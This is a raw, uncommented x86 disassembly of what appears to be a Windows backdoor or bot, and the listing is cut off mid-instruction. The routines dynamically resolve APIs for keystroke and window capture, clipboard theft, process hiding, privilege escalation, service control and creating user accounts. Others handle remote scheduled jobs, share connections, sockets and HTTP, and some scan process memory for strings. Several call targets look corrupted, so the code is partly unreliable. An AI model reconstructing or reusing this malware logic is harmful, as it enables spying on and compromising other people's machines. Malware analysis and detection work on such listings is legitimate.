push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax call near ptr 2700533h nop push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_4240EC push 8 call esi mov edi, dword_4240E8 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_4240F4 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_40940B xor esi, esi jmp loc_409529 ; --------------------------------------------------------------------------- loc_40940B: ; CODE XREF: sub_409392+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] call near ptr 2700000h nop test eax, eax jz loc_409518 mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_409518 test [ebp+var_2B], 1 jnz loc_409518 push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_409518 loc_40946E: ; CODE XREF: sub_409392+112j push edi push offset dword_43E308 call sub_422A52 pop ecx test eax, eax pop ecx jnz short loc_409496 lea eax, [edi+200h] push eax push offset dword_43EB08 call sub_422A52 pop ecx test eax, eax pop ecx jz short loc_4094A6 loc_409496: ; CODE XREF: sub_409392+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_409518 jmp short loc_40946E ; --------------------------------------------------------------------------- loc_4094A6: ; CODE XREF: sub_409392+102j test edi, edi jz short loc_409518 lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax nop call near ptr 2690526h test eax, eax jz short loc_4094E1 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax nop call near ptr 2690000h test eax, eax jz short loc_4094E1 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4094E1: ; CODE XREF: sub_409392+12Bj ; sub_409392+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_43F52C, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_43F524, eax mov dword_43F528, edi loc_409518: ; CODE XREF: sub_409392+90j ; sub_409392+A2j ... push [ebp+arg_0] push 0 call esi push eax nop call near ptr 26E0273h mov esi, [ebp+var_10] loc_409529: ; CODE XREF: sub_409392+74j push [ebp+var_4] nop call near ptr 2621910h pop edi mov eax, esi pop ebx loc_409536: ; CODE XREF: sub_409392+24j pop esi leave retn sub_409392 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409539 proc near ; CODE XREF: sub_409037:loc_40912Fp var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h nop call near ptr 2700AB6h test eax, eax mov [ebp+arg_0], eax jz loc_40962B mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call near ptr 2700533h nop mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_409622 mov edi, dword_4240EC loc_409584: ; CODE XREF: sub_409539+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] nop call near ptr 2700000h test eax, eax jz short loc_409610 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_409616 test [ebp+var_13], 1 jnz short loc_409616 push ecx push 8 call edi push eax nop call near ptr 26F0000h mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call near ptr 27002FEh nop test eax, eax jz short loc_409602 push offset dword_43E308 push esi call sub_422A52 pop ecx test eax, eax pop ecx jnz short loc_409602 lea eax, [esi+400h] push offset dword_43EB08 push eax call sub_422A52 pop ecx test eax, eax pop ecx jz short loc_409632 loc_409602: ; CODE XREF: sub_409539+9Fj ; sub_409539+B0j push esi push 0 call edi push eax call near ptr 26E0273h nop jmp short loc_409616 ; --------------------------------------------------------------------------- loc_409610: ; CODE XREF: sub_409539+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_409616: ; CODE XREF: sub_409539+71j ; sub_409539+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_409584 loc_409622: ; CODE XREF: sub_409539+3Fj push [ebp+arg_0] nop call near ptr 2621910h loc_40962B: ; CODE XREF: sub_409539+1Ej xor eax, eax loc_40962D: ; CODE XREF: sub_409539+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_409632: ; CODE XREF: sub_409539+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_43F524, ebx mov dword_43F528, eax cmp [eax], cl jnz short loc_409654 cmp [eax+1], cl jz short loc_40965C loc_409654: ; CODE XREF: sub_409539+114j ; sub_409539+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_409654 loc_40965C: ; CODE XREF: sub_409539+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 2621910h push 1 pop eax jmp short loc_40962D sub_409539 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40966F proc near ; CODE XREF: sub_409037+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_43F520 push esi mov esi, dword_4240EC push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax call near ptr 26F0000h nop mov ecx, dword_43F520 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_43F528 push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_43F52C push eax call dword_43F30C push [ebp+var_4] mov edi, offset dword_43F318 push offset dword_43E308 push offset dword_43EB08 push [ebp+arg_0] push offset unk_42CDC0 push 200h push edi call sub_41782A add esp, 1Ch push [ebp+var_4] push 0 call esi push eax call near ptr 26E0273h nop mov eax, edi pop edi pop esi leave retn sub_40966F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409706 proc near ; CODE XREF: sub_409037:loc_409173p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_43F520 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 nop call near ptr 26F0CAFh push eax nop call near ptr 26F0000h and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_43EB08 mov edi, 200h mov esi, offset dword_43E108 loc_40974C: ; CODE XREF: sub_409706+FAj mov eax, dword_43F520 add eax, eax push eax push dword_43F528 push [ebp+var_14] call sub_417390 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_43F30C mov eax, dword_43F520 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4097C1 loc_409789: ; CODE XREF: sub_409706+B3j cmp [ebp+var_8], 0 jz short loc_4097DE mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_4097AD cmp byte ptr [ecx+1], 0 jnz short loc_4097AD cmp dl, 20h jnb short loc_4097A7 and [ebp+var_8], 0 loc_4097A7: ; CODE XREF: sub_409706+9Bj cmp [ebp+var_1], 7Eh jbe short loc_4097B1 loc_4097AD: ; CODE XREF: sub_409706+90j ; sub_409706+96j and [ebp+var_8], 0 loc_4097B1: ; CODE XREF: sub_409706+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_409789 cmp [ebp+var_8], 0 jz short loc_4097DE loc_4097C1: ; CODE XREF: sub_409706+81j push [ebp+var_14] push offset dword_43E308 push ebx push [ebp+arg_0] push offset unk_42CDC0 push edi push esi call sub_41782A add esp, 1Ch jmp short loc_4097F6 ; --------------------------------------------------------------------------- loc_4097DE: ; CODE XREF: sub_409706+87j ; sub_409706+B9j push offset dword_43E308 push ebx push [ebp+arg_0] push offset unk_42CE2C push edi push esi call sub_41782A add esp, 18h loc_4097F6: ; CODE XREF: sub_409706+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_40974C push [ebp+var_14] push 0 nop call near ptr 26F0CAFh push eax call near ptr 26E0273h nop mov eax, esi pop edi pop esi pop ebx leave retn sub_409706 endp ; =============== S U B R O U T I N E ======================================= sub_40981F proc near ; CODE XREF: sub_40E6A9+48p push ebx push ebp mov ebp, dword_424100 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4240DC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_40993F push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_43F714, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_43F688, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_43F66C, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_43F588, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_43F534, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_43F564, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_43F5D8, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_43F6C8, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_43F724, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_43F594, eax call esi cmp dword_43F714, ebx mov dword_43F57C, eax jz short loc_40991D cmp dword_43F688, ebx jz short loc_40991D cmp dword_43F66C, ebx jz short loc_40991D cmp dword_43F588, ebx jz short loc_40991D cmp dword_43F564, ebx jz short loc_40991D cmp dword_43F5D8, ebx jz short loc_40991D cmp dword_43F6C8, ebx jz short loc_40991D cmp dword_43F724, ebx jz short loc_40991D cmp dword_43F594, ebx jz short loc_40991D cmp eax, ebx jnz short loc_409927 loc_40991D: ; CODE XREF: sub_40981F+B8j ; sub_40981F+C0j ... mov dword_43F728, 1 loc_409927: ; CODE XREF: sub_40981F+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_43F6A0, eax jz short loc_409954 push 1 push ebx call eax jmp short loc_409954 ; --------------------------------------------------------------------------- loc_40993F: ; CODE XREF: sub_40981F+1Dj nop call near ptr 26402CBh mov dword_43F72C, eax mov dword_43F728, 1 loc_409954: ; CODE XREF: sub_40981F+117j ; sub_40981F+11Ej push offset aUser32_dll ; "user32.dll" nop call near ptr 26E0000h mov edi, eax cmp edi, ebx jz loc_409A69 push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_43F6C4, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_43F674, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_43F608, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_43F718, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_43F638, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_43F658, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_43F6BC, eax call esi cmp dword_43F6C4, ebx mov dword_43F5B0, eax jz short loc_409A0D cmp dword_43F674, ebx jz short loc_409A0D cmp dword_43F608, ebx jz short loc_409A0D cmp dword_43F718, ebx jz short loc_409A0D cmp dword_43F638, ebx jz short loc_409A0D cmp dword_43F658, ebx jz short loc_409A0D cmp dword_43F6BC, ebx jz short loc_409A0D cmp eax, ebx jnz short loc_409A17 loc_409A0D: ; CODE XREF: sub_40981F+1B8j ; sub_40981F+1C0j ... mov dword_43F730, 1 loc_409A17: ; CODE XREF: sub_40981F+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_43F634, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_43F548, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_43F604, eax call esi cmp dword_43F634, ebx mov dword_43F5F0, eax jz short loc_409A74 cmp dword_43F548, ebx jz short loc_409A74 cmp dword_43F604, ebx jz short loc_409A74 cmp eax, ebx jnz short loc_409A7E jmp short loc_409A74 ; --------------------------------------------------------------------------- loc_409A69: ; CODE XREF: sub_40981F+144j nop call near ptr 26402CBh mov dword_43F734, eax loc_409A74: ; CODE XREF: sub_40981F+232j ; sub_40981F+23Aj ... mov dword_43F730, 1 loc_409A7E: ; CODE XREF: sub_40981F+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409C19 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_43F6D8, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_43F61C, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_43F68C, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_43F574, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_43F5D4, eax call esi cmp dword_43F6D8, ebx mov dword_43F644, eax jz short loc_409B09 cmp dword_43F61C, ebx jz short loc_409B09 cmp dword_43F68C, ebx jz short loc_409B09 cmp dword_43F574, ebx jz short loc_409B09 cmp dword_43F5D4, ebx jz short loc_409B09 cmp eax, ebx jnz short loc_409B13 loc_409B09: ; CODE XREF: sub_40981F+2C4j ; sub_40981F+2CCj ... mov dword_43F738, 1 loc_409B13: ; CODE XREF: sub_40981F+2E8j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_43F64C, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_43F624, eax call esi cmp dword_43F64C, ebx mov dword_43F6D4, eax jz short loc_409B4E cmp dword_43F624, ebx jz short loc_409B4E cmp eax, ebx jnz short loc_409B58 loc_409B4E: ; CODE XREF: sub_40981F+321j ; sub_40981F+329j mov dword_43F738, 1 loc_409B58: ; CODE XREF: sub_40981F+32Dj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_43F65C, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_43F550, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_43F558, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_43F5B8, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_43F5BC, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_43F56C, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_43F628, eax call esi cmp dword_43F65C, ebx mov dword_43F55C, eax jz short loc_409BFC cmp dword_43F550, ebx jz short loc_409BFC cmp dword_43F558, ebx jz short loc_409BFC cmp dword_43F5B8, ebx jz short loc_409BFC cmp dword_43F5BC, ebx jz short loc_409BFC cmp dword_43F56C, ebx jz short loc_409BFC cmp dword_43F628, ebx jz short loc_409BFC cmp eax, ebx jnz short loc_409C06 loc_409BFC: ; CODE XREF: sub_40981F+3A7j ; sub_40981F+3AFj ... mov dword_43F738, 1 loc_409C06: ; CODE XREF: sub_40981F+3DBj push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_43F554, eax jnz short loc_409C2E jmp short loc_409C24 ; --------------------------------------------------------------------------- loc_409C19: ; CODE XREF: sub_40981F+26Aj call near ptr 26402CBh nop mov dword_43F73C, eax loc_409C24: ; CODE XREF: sub_40981F+3F8j mov dword_43F738, 1 loc_409C2E: ; CODE XREF: sub_40981F+3F6j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409CFA push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_43F654, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_43F6AC, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_43F6B4, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_43F670, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_43F598, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_43F544, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_43F6B0, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_43F530, eax call esi cmp dword_43F654, ebx mov dword_43F5CC, eax jz short loc_409D05 cmp dword_43F6AC, ebx jz short loc_409D05 cmp dword_43F6B4, ebx jz short loc_409D05 cmp dword_43F670, ebx jz short loc_409D05 cmp dword_43F598, ebx jz short loc_409D05 cmp dword_43F544, ebx jz short loc_409D05 cmp dword_43F6B0, ebx jz short loc_409D05 cmp dword_43F530, ebx jz short loc_409D05 cmp eax, ebx jnz short loc_409D0F jmp short loc_409D05 ; --------------------------------------------------------------------------- loc_409CFA: ; CODE XREF: sub_40981F+41Aj nop call near ptr 26402CBh mov dword_43F744, eax loc_409D05: ; CODE XREF: sub_40981F+49Bj ; sub_40981F+4A3j ... mov dword_43F740, 1 loc_409D0F: ; CODE XREF: sub_40981F+4D7j mov ebp, dword_4240E0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409FCB push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_43F5E0, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_43F70C, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_43F584, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_43F560, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_43F614, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_43F5FC, eax call esi push offset aSocket ; "socket" push edi mov dword_43F5C8, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_43F6E8, eax call esi push offset aConnect ; "connect" push edi mov dword_43F704, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_43F610, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_43F6F4, eax call esi push offset aHtons ; "htons" push edi mov dword_43F6A8, eax call esi push offset aHtonl ; "htonl" push edi mov dword_43F668, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_43F664, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_43F5A4, eax call esi push offset aSend ; "send" push edi mov dword_43F59C, eax call esi push offset aSendto ; "sendto" push edi mov dword_43F6B8, eax call esi push offset aRecv ; "recv" push edi mov dword_43F6CC, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_43F680, eax call esi mov dword_43F640, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_43F694, eax call esi push offset aListen ; "listen" push edi mov dword_43F650, eax call esi push offset aAccept ; "accept" push edi mov dword_43F690, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_43F6FC, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_43F648, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_43F60C, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_43F67C, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_43F6EC, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_43F620, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_43F5C4, eax call esi cmp dword_43F5E0, ebx mov dword_43F700, eax jz loc_409FD6 cmp dword_43F70C, ebx jz loc_409FD6 cmp dword_43F584, ebx jz loc_409FD6 cmp dword_43F614, ebx jz loc_409FD6 cmp dword_43F5FC, ebx jz loc_409FD6 cmp dword_43F5C8, ebx jz loc_409FD6 cmp dword_43F6E8, ebx jz loc_409FD6 cmp dword_43F704, ebx jz loc_409FD6 cmp dword_43F610, ebx jz loc_409FD6 cmp dword_43F6F4, ebx jz loc_409FD6 cmp dword_43F6A8, ebx jz loc_409FD6 cmp dword_43F668, ebx jz loc_409FD6 cmp dword_43F664, ebx jz loc_409FD6 cmp dword_43F5A4, ebx jz short loc_409FD6 cmp dword_43F6B8, ebx jz short loc_409FD6 cmp dword_43F6CC, ebx jz short loc_409FD6 cmp dword_43F680, ebx jz short loc_409FD6 cmp dword_43F640, ebx jz short loc_409FD6 cmp dword_43F694, ebx jz short loc_409FD6 cmp dword_43F650, ebx jz short loc_409FD6 cmp dword_43F690, ebx jz short loc_409FD6 cmp dword_43F6FC, ebx jz short loc_409FD6 cmp dword_43F648, ebx jz short loc_409FD6 cmp dword_43F60C, ebx jz short loc_409FD6 cmp dword_43F67C, ebx jz short loc_409FD6 cmp dword_43F6EC, ebx jz short loc_409FD6 cmp dword_43F620, ebx jz short loc_409FD6 cmp eax, ebx jnz short loc_409FE0 jmp short loc_409FD6 ; --------------------------------------------------------------------------- loc_409FCB: ; CODE XREF: sub_40981F+501j call near ptr 26402CBh nop mov dword_43F74C, eax loc_409FD6: ; CODE XREF: sub_40981F+6A0j ; sub_40981F+6ACj ... mov dword_43F748, 1 loc_409FE0: ; CODE XREF: sub_40981F+7A8j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A0E5 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_43F5AC, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_43F538, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_43F630, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_43F5E4, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_43F63C, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_43F600, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_43F578, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_43F570, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_43F580, eax call esi cmp dword_43F5AC, ebx mov ecx, dword_43F600 mov dword_43F69C, eax jz short loc_40A0C1 cmp dword_43F538, ebx jz short loc_40A0C1 cmp dword_43F630, ebx jz short loc_40A0C1 cmp dword_43F5E4, ebx jz short loc_40A0C1 cmp dword_43F63C, ebx jz short loc_40A0C1 cmp ecx, ebx jz short loc_40A0C1 cmp dword_43F578, ebx jz short loc_40A0C1 cmp dword_43F570, ebx jz short loc_40A0C1 cmp dword_43F580, ebx jz short loc_40A0C1 cmp eax, ebx jnz short loc_40A0CB loc_40A0C1: ; CODE XREF: sub_40981F+860j ; sub_40981F+868j ... mov dword_43F750, 1 loc_40A0CB: ; CODE XREF: sub_40981F+8A0j cmp ecx, ebx jz short loc_40A100 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_43F618, eax jnz short loc_40A100 jmp short loc_40A0FA ; --------------------------------------------------------------------------- loc_40A0E5: ; CODE XREF: sub_40981F+7CCj nop call near ptr 26402CBh mov dword_43F754, eax mov dword_43F750, 1 loc_40A0FA: ; CODE XREF: sub_40981F+8C4j mov dword_43F618, ebx loc_40A100: ; CODE XREF: sub_40981F+8AEj ; sub_40981F+8C2j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A14A push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_43F5F4, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_43F720, eax call esi cmp dword_43F5F4, ebx mov dword_43F58C, eax jz short loc_40A155 cmp dword_43F720, ebx jz short loc_40A155 cmp eax, ebx jnz short loc_40A15F jmp short loc_40A155 ; --------------------------------------------------------------------------- loc_40A14A: ; CODE XREF: sub_40981F+8ECj nop call near ptr 26402CBh mov dword_43F75C, eax loc_40A155: ; CODE XREF: sub_40981F+91Bj ; sub_40981F+923j ... mov dword_43F758, 1 loc_40A15F: ; CODE XREF: sub_40981F+927j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A255 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_43F568, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_43F540, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_43F5B4, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_43F5E8, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_43F6F8, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_43F5A0, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_43F54C, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_43F53C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_43F5D0, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_43F6C0, eax call esi cmp dword_43F568, ebx mov dword_43F678, eax jz short loc_40A260 cmp dword_43F540, ebx jz short loc_40A260 cmp dword_43F5B4, ebx jz short loc_40A260 cmp dword_43F5E8, ebx jz short loc_40A260 cmp dword_43F6F8, ebx jz short loc_40A260 cmp dword_43F5A0, ebx jz short loc_40A260 cmp dword_43F54C, ebx jz short loc_40A260 cmp dword_43F53C, ebx jz short loc_40A260 cmp dword_43F5D0, ebx jz short loc_40A260 cmp dword_43F6C0, ebx jz short loc_40A260 cmp eax, ebx jnz short loc_40A26A jmp short loc_40A260 ; --------------------------------------------------------------------------- loc_40A255: ; CODE XREF: sub_40981F+94Bj nop call near ptr 26402CBh mov dword_43F764, eax loc_40A260: ; CODE XREF: sub_40981F+9E6j ; sub_40981F+9EEj ... mov dword_43F760, 1 loc_40A26A: ; CODE XREF: sub_40981F+A32j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A29F push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_43F590, eax call esi cmp dword_43F590, ebx mov dword_43F660, eax jz short loc_40A2AA cmp eax, ebx jnz short loc_40A2B4 jmp short loc_40A2AA ; --------------------------------------------------------------------------- loc_40A29F: ; CODE XREF: sub_40981F+A56j call near ptr 26402CBh nop mov dword_43F76C, eax loc_40A2AA: ; CODE XREF: sub_40981F+A78j ; sub_40981F+A7Ej mov dword_43F768, 1 loc_40A2B4: ; CODE XREF: sub_40981F+A7Cj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A2E9 push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_43F6E4, eax call esi cmp dword_43F6E4, ebx mov dword_43F6E0, eax jz short loc_40A2F4 cmp eax, ebx jnz short loc_40A2FE jmp short loc_40A2F4 ; --------------------------------------------------------------------------- loc_40A2E9: ; CODE XREF: sub_40981F+AA0j nop call near ptr 26402CBh mov dword_43F774, eax loc_40A2F4: ; CODE XREF: sub_40981F+AC2j ; sub_40981F+AC8j mov dword_43F770, 1 loc_40A2FE: ; CODE XREF: sub_40981F+AC6j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A35D push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_43F710, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_43F708, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_43F6D0, eax call esi cmp dword_43F710, ebx mov dword_43F5A8, eax jz short loc_40A368 cmp dword_43F708, ebx jz short loc_40A368 cmp dword_43F6D0, ebx jz short loc_40A368 cmp eax, ebx jnz short loc_40A372 jmp short loc_40A368 ; --------------------------------------------------------------------------- loc_40A35D: ; CODE XREF: sub_40981F+AEAj call near ptr 26402CBh nop mov dword_43F77C, eax loc_40A368: ; CODE XREF: sub_40981F+B26j ; sub_40981F+B2Ej ... mov dword_43F778, 1 loc_40A372: ; CODE XREF: sub_40981F+B3Aj push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A3A7 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_43F5DC, eax call esi cmp dword_43F5DC, ebx mov dword_43F6DC, eax jz short loc_40A3B2 cmp eax, ebx jnz short loc_40A3BC jmp short 